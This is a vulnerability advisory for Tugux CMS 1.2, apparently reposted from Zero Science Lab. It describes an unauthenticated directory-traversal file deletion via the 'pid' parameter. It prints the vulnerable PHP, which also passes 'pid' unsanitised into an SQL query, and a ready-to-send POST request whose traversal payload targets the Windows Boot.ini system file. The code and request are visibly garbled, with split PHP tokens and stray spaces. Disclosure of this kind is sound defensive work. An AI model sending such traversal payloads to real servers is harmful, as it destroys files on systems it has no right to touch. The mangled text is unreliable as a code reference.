Tugux CMS 1.2 (pid) Arbitrary File Deletion defect and repair

Tugux CMS 1.2 (pid) Remote Arbitrary File Deletion Vulnerability
 
 
Vendor: Tugux Studios
Product web page: http://www.tugux.com
Affected version: 1.2
 
Summary: Tugux CMS is a free and open-source content management system.
(CMS) and application that powers the entire web.
 
Desc: Input passed to the pid parameter in administrator/delete_page_parse.php
Is not properly sanitised before being used to delete files. This can be exploited
To delete files with the permissions of the web server via directory traversal
Sequences passed within the pid parameter.
 
 
------------------------------------------------------------------------------
/Administrator/delete_page_parse.php:
------------------------------------------------------------------------------
 
1: <? Php
2: // post form data
3: $ id = $ _ POST [pid];
4:
5: $ pic1 = ("slides/$ id/image_01.jpg ");
6: if (file_exists ($ pic1 )){
7: unlink ($ pic1 );
8 :}
9: $ dir = "slides/$ id ";
10: rmdir ($ dir );
11:
12: include_once "../scripts/connect_to_mysql.php ";
13: $ query = mysqli_query ($ myConnection, "delete from pages WHERE id = $ id") or die (mysqli_error ($ myConnection ));
14: echo <table align = "center"> <tr> <td> <div style = "width: 300px; margin: auto; border: 1px solid # BBB; font-family: Arial, Helvetica, sans-serif; color: #666; text-align: center ">
15: <br/>
16: Operation completed. Your page has been DELETED. <br/>
17: <a href = "index. php"> Click Here to go back </a> </div> </td> </tr> </table>;
18: exit ();
19:?>
 
------------------------------------------------------------------------------
 
 
Tested on: Microsoft Windows XP Professional SP3 (EN)
Apache 2.2.14 (Win32)
PHP 5.3.1
MySQL 5.1.41
 
 
Vulnerability discovered by Gjoko LiquidWorm Krstic
Liquidworm gmail com
Zero Science Lab
 
 
Advisory ID: ZSL-2011-5024
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5024.php
 
 
02.04.2011
 
 
--
 
POST/tugux/administrator/delete_page_parse.php HTTP/1.1
Host: www.2cto.com
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 175
Cache-Control: max-age = 0
Origin: null
Content-Type: multipart/form-data; boundary = ---- x
Accept: text/html
Accept-Language: en-US, en; q = 0.8
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.3
 
------ X
Content-Disposition: form-data; name = "pid"
 
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /Boot. ini
------ X --